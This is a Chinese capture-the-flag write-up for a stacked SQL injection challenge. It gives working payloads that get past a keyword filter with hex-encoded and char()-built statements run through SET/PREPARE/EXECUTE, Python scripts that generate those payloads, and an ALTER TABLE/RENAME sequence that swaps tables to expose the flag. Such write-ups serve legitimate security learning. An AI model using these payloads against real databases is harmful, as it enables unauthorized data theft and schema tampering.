前言
woc前一段时间,写过一次,发现被我搞丢了,气死…重写ing
随便注
首先,对题目进行测试尝试一下1'
发现会得到报错,尝试一下万能密码1' or '1'='1
,发现能够把当前表所有的值全部输出出来。
尝试注入时,发现存在过滤:
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
尝试过报错注入,虽然能够得到数据库信息,但是过滤了select
就很难进行进一步的注入。
可以注出库名:
supersqli
通过多次的尝试,发现可以进行堆叠注入。
方法一
通过堆叠注入,可以将sql注入的语句转换为16进制表示来bypass。
1';set @t=0x73656c65637420312c323b;prepare x from @t;execute x;
但是尝试的时候发现过滤回显:
strstr($inject, "set") && strstr($inject, "prepare")
strstr
函数存在大小写绕过。
脚本:
payload = "alex';set @s=%s;PREPARE a FROM @s;EXECUTE a;"
exp = 'select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()'
# exp = "select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='1919810931114514'"
# exp = "select flag from `1919810931114514`"
my_payload = payload%("0x"+exp.encode('hex'))
print my_payload
注入过程:
注表名
alex';set @s=0x73656c6563742067726f75705f636f6e636174285441424c455f4e414d45292066726f6d20696e666f726d6174696f6e5f736368656d612e5441424c4553207768657265205441424c455f534348454d413d64617461626173652829;PREPARE a FROM @s;EXECUTE a;
得到:
1919810931114514,words
然后进行注列名:
alex';set @s=0x73656c6563742067726f75705f636f6e63617428434f4c554d4e5f4e414d45292066726f6d20696e666f726d6174696f6e5f736368656d612e434f4c554d4e53207768657265205441424c455f4e414d453d273139313938313039333131313435313427;PREPARE a FROM @s;EXECUTE a;
得到:
flag
获取flag:
alex';set @s=0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460;PREPARE a FROM @s;EXECUTE a;
即可得到flag。
方法二
尝试用char()进行绕过,通过对sql注入的语句,转换成为单个的ascii码,然后通过char()函数进行转换以及利用concat()函数进行重新拼接,来bypass。
脚本:
payload = "alex';set @s=concat(%s);PREPARE a FROM @s;EXECUTE a;"
exp = 'select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()'
# exp = "select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='1919810931114514'"
# exp = "select flag from `1919810931114514`"
res = ''
for i in exp:
res += "char(%s),"%(ord(i))
my_payload = payload%(res[:-1])
print my_payload
注入手法同上。
方法三
过滤的内容为:
return preg_match("/select|update|delete|drop|insert|where|\./i", $inject);
发现这里面没有过滤一些show
,alter
,desc
等一些字段,我们可以通过修改表名,和表的字段名,来进行换表,得到flag。
首先通过
alex';show databases;
可以获取所有的库名:
通过
alex';show tables;
获取本库的所有表。
查看表结构:
alex'; desc `1919810931114514`;
发现flag
我们可以将words表改名为aaa,将flag所在的表改名为word。
注意,word表的查询时查的id,我们还需要给flag添加一个字段名。来保证查询语句中的id可以查询。
payload:
1';alter table `1919810931114514` add(id int default 1);alter table words rename aaa;alter table `1919810931114514` rename words;#
然后查询1就可以得到flag了。
总结
姿势太多了,继续学习。。。